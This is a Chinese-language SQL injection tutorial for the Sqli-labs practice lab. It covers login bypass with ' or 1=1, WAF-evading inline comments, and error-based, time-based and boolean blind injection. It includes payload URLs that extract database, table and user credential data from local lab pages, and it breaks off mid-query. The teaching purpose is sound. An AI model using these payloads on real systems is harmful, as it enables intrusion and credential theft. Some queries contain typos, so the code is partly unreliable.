2.1、SQL注入原理
- SQL注入的原因
语言分类:解释型语言和编译型语言。解释型语言是一种在运行时由一个运行时组件解释语言代码并执行其中包含的指令的语言。而编译型语言是代码在生成时转换为机器指令,然后在运行时直接由使用该语言的计算机执行这些指令。
在解释型语言中,如果程序与用户进行交互。用户就可以构造特殊的输入来拼接到程序中执行,从而使得程序依据用户输入执行有可能存在恶意行为的代码。
例如:
在与用户交互的程序中,用户的输入拼接到SQL语句中,执行了与原定计划不同的行为,从而产生了SQL注入漏洞。登录案例讲解
登录SQL语句:select * from admin where username = ‘用户输入的用户名’ and password = '用户输入的密码’用户输入的内容可由用户自行控制。
例如可以输入 ’ or 1=1 --空格
SQL语句:select * from admin where username = ’ ’ or 1=1 – ’ and password = '用户输入的密码’其中or 1=1 永远为真, --注释后边内容不再执行,因此SQL语句执行会返回admin表中的所有内容。 - CMS SQL注入讲解
CMS逻辑:index.php首页展示内容,具有文章列表(链接具有文章id)、articles.php文章详细页,URL中article.php?id=文章id读取id文章。
SQL注入验证:
1、单引号 ’
2、 and 1=1
3、 and 1=2
如果页面中Mysql报错,证明该页面存在SQL注入漏洞。 - Sqlmap基本使用
Kali: sqlmap –u “http://www…id=1”
2.2、Mysql注入有关知识点
- Mysql 5.x数据结构
在Mysql 5.0以上的版本中,为了方便管理,默认定义了information_schema数据库,用来存储数据库元信息。其中具有表schemata(数据库名)、tables(表名)、columns(列名或字段名)。
在schemata表中,schema_name字段用来存储数据库名。
在tables表中,table_schema和table_name分别用来存储数据库名和表名。
在columns表中,table_schema(数据库名)、table_name(表名)、column_name(字段名)
利用Navicat (可以免费试用几天)for MySQL查看结构 - SQL增删改查
SELECT 列名称 FROM 表名称 WHERE 字段1 = ‘条件1’ AND 字段2 = ‘条件2’
INSERT INTO table_name (列1, 列2,…) VALUES (值1, 值2,…)
UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值
DELETE FROM 表名称 WHERE 列名称 = 值 - Mysql常用函数
Mysql中常用的聚合函数有以下:
user():查看当前Mysql登录用户名
database():查看当前使用Mysql数据库名
version():查看当前Mysql版本
拓展limit关键字 limit m,n 从m行开始,到m+n行。 - 注释
注释符:在Mysql 中常见的注释符表达式:#或–空格或/**/
联注释:/!SQL语句 / 只有Mysql可以识别,常用来绕过WAF
例如:select * from articles where id = id
使用内联注释注入:select * from articles where id = -1 /!union/ /!select/ 1,2,3,4
2.3、SQLLab靶场搭建
- PhpStudy环境安装
phpStudy是一个PHP调试环境的程序集成包。
该程序包集成最新的Apache+PHP+MySQL+phpMyAdmin+ZendOptimizer,一次性安装,无须配置即可使用,是非常方便、好用的PHP调试环境•该程序不仅包括PHP调试环境,还包括了开发工具、开发手册等•总之学习PHP只需一个包。
下载地址:https://www.xp.cn/ - 火狐浏览器插件安装
Mozilla Firefox,中文俗称“火狐”(正式缩写为Fx或fx,非正式缩写为MF),是一个自由及开放源代码的网页浏览器,使用Gecko排版引擎,支持多种操作系统,如Windows、Mac OS X及GNU/Linux等
安全方面的插件:hackbar、Firebug、Live http headers、Tamper Data - Sqlmap安装
sqlmap是一款强大的SQL注入漏洞检测和利用工具。官方网站:http://www.sqlmap.org
(Windows10要使用sqlmap需要安装python2.xxx版本环境) - Sqli-Lab安装
Sqli-labs是一个印度程序员写的,用来学习sql注入的一个游戏教程。
下载地址:https://github.com/Audi-1/sqli-labs
下载成功之后将SQLi-Labs解压,放到phpStudy安装目录下的/PHPTutorial/WWW
打开sql-connections/db-creds.inc,修改默认数据库连接密码。
打开浏览器访问本地http://localhost/sqli-lab
2.4、GET基于报错的SQL注入
- 报错注入介绍
报错注入形式上是两个嵌套的查询,即select …(select …),里面的那个select被称为子查询,他的执行顺序也是先执行子查询,然后再执行外面的select,双注入主要涉及到了几个sql函数:
rand()随机函数,返回0~1之间的某个值
floor(a)取整函数,返回小于等于a,且值最接近a的一个整数
count()聚合函数也称作计数函数,返回查询对象的总数
group by clause分组语句,按照查询结果分组
通过报错来显示出具体的信息。
查询的时候如果使用rand()的话,该值会被计算多次。在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次。在一次多记录的查询过程中floor(rand(0)2)的值是定性的,为011011
select count() from table group by floor(rand(0)*2); - GET单引号报错注入
以Sqli-Lab Less 5为例
获取数据库:
http://localhost/sqli-lab/Less-5/index.php?id= 0’ union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a --+
获取表名:
http://localhost/sqli-lab/Less-5/index.php?id= 0’ union select 1,2,3 from (select count(),concat((select concat(table_name,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a --+
获取用户信息
http://localhost/sqli-lab/Less-5/index.php?id= 0’ union select 1,2,3 from (select count(),concat((select concat(username,0x3a, 0x3a,password,0x3a, 0x3a) from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+ - GET双引号报错注入
和单引号报错注入差不多不过是采用双引号进行闭合
获取数据库
http://localhost/sqli-lab/Less-6/index.php?id= 0" union select count(*),0,concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))as a from information_schema.tables group by a limit 0,10 --+ - Sqlmap安全测试
2.5不再显示错误的盲注
-
盲注介绍
Blind SQL (盲注) 是注入攻击的其中一种, 向数据库发送 true 或 false 这样的问题, 并根据应用程序返回的信息判断结果. 这种攻击的出现是因为应用程序配置为只显示常规错误, 但并没有解决SQL 注入存在的代码问题.
当攻击者利用SQL注入漏洞进行攻击时, 有时候web应用程序会显示, 后端数据库执行SQL查询返回的错误信息. Blind SQL (盲注)与常规注入很接近, 不同的是数据库返回数据的检索方式. 若数据库没有输出数据到web页面, 攻击者会询问一些列的 true 或 false 问题, 强制从数据库获取数据。
盲注常分为:基于布尔型的盲注和基于时间的盲注. -
GET基于时间的盲注
if(ascii(substr(database(),1,1)=115,1,sleep(5))) : 当数据库名第一个字母的ascii码等于115时,执行一次sleep(3)函数等待5秒。
实验:Sqli-Lab Less9~10,GET基于时间的盲注。 -
GET基于Boolean的盲注
基于布尔型的盲注,我们通常采用下面的办法猜解字符串.
select length(databse());
select substr(databse(),1,1);
select ascii(substr(database(),1,1));
select ascii(substr(database(),1,1)) > N;
select ascii(substr(database(),1,1)) = N;
select ascii(substr(